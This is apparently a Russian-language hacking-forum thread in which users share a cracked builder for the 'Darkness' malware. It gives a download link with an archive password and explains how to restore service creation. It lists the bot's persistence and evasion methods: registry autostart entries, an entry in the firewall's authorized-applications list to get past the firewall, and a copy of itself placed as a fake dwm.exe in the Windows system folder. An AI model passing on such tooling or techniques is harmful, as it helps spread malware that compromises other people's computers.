Darkness builder by me

[Chococream]

Собственно слил, разреверсил версию, которую выложил Ar3s.
В виртуалке лишних файлов не увидел.

Значит так: инструкция в архиве.
Что сделано: убрано создание сервиса, если хотите восстановить эту функцию, то просто copy2.exe переименуйте в copy.exe, а старый copy.exe забэкапьте.

Всех с наступающим праздником!

Скачать:
http://www.sendspace.com/file/zggub6

Пароль:
xss.pro/

 

[DeusTirael]

Какой у него метод автозагрузки ? Скачать не могу. Трафа нету. \=

Ваше здоровье!
P.S. Ик!

 

[Chococream]

Методы автозагрузки:
1)В реестре появл-ся записи о сервисе.
2)SOFTWARE\Microsoft\Windows NT\CurrentVersion\"какой-то виток"...
3)Обходим фаерволл:
SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\
4)Скрытия процессов и записей в реестре: 0.
5)С файлом copy2.exe ошибся(сорри заранее), в аттаче новый(который создаёт сервис).
6)C:\WINDOWS\system\dwm.exe - сюда кидает себя.

Пароль к аттачу:
xss.pro/

 

[Ar3s]

билдер 8
Источник
Общее описалово
Обсуждения слива.
На склейку и работоспособность проверить не успел. Кто заинтересован - гляньте сами.